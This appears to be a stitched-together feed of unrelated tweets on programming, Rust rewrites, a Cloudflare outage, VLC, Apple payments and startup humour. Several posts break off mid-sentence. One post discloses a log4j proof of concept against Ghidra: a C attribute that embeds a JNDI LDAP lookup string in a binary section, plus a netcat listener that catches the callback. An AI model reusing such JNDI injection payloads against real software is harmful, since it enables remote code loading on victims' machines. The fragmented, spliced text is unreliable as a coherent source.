This is a very risky rewrite. https://t.co/a1Ckwr7baH Everyone who touches a compiler or interpreter should really contemplate these words.

Let me explain exactly why VLC is free despite 6B downloads, because no one seems to get it. VLC doesn’t make money because making money would destroy the only thing that made it reach 6 billion downloads in the first place. The player grew through a specific distribution loop:

September, 26: Cloudflare rewritten in “memory safe” Rust. The change is touted as “faster and more secure” because of Rust. https://t.co/Mpy43z5S8A November, 18 (53 days later): Cloudflare has a massive outage, which took down large portions of the Internet, because of a

@JustDeezGuy Rewriting software is not only waste of effort, but it also brings previously fixed bugs back. Why? Because memory safety is only one class of bugs that we have. (See what happened recently in ubuntu binutils, windows vista in the past, or many similar events in between)

"Bread, water, aesthetics.. that's the pyramid. You need beautiful things to sustain yourself. But when it comes to software, suddenly people feel the need to be Mr and Mrs Rational."

This is the root motivation behind most everything well-done in the world. Build for yourself first, so you can clearly gauge the quality, and you'll likely find others who share your sensibilities. This is the story of Rails and Omarchy alike.

This is good advice.

Hard to put into words how huge this is. Epic really did it. Apple's monopoly on payment processing is finally over. 🫡

This must be tweeted every Halloween. I don’t make the rules

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go-internals: A book about the internals of the Go programming language. ⭐️ 7466 #golang https://t.co/Jx3CWByuOj

Linux has a much healthier attitude with regard to trademark than a 4 letter word lang that has a r and and t in there somewhere. Please #linux halt the efforts of putting any code from this 4 letter lang in the kernel. https://t.co/FU7AixRpSf

Running a company: 2020: can you survive a pandemic? 2021: still here? we’re going to give all of your competitors $100m series A rounds. 2022: wow, you made it? okay, all engineers cost $600,000/year now. 2023: nice job! okay, we’re going to take away your bank account.

Today we’re releasing research on brand new activity cluster we’re calling Hiatus. This actor has an affinity for target routers, to gather pcap and use as covert infrastructure.

Ghidra's vulnerable to log4j: __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}"))) int a = 1; int main(){} $ gcc hello.c $ nc -l 1234 Load into Ghidra; it connects to 127.0.0.1:1234. Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1 https://t.co/Qu1psCjtY6

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When I was doing the prototype for what became PowerShell, a friend cautioned me saying that was the sort of thing that got people fired. I didn’t get fired. I got demoted.

Remember, Team, the safe word is "out of scope".

when people but are anti want to solve nuclear climate change

Give it a try and let me know what you think.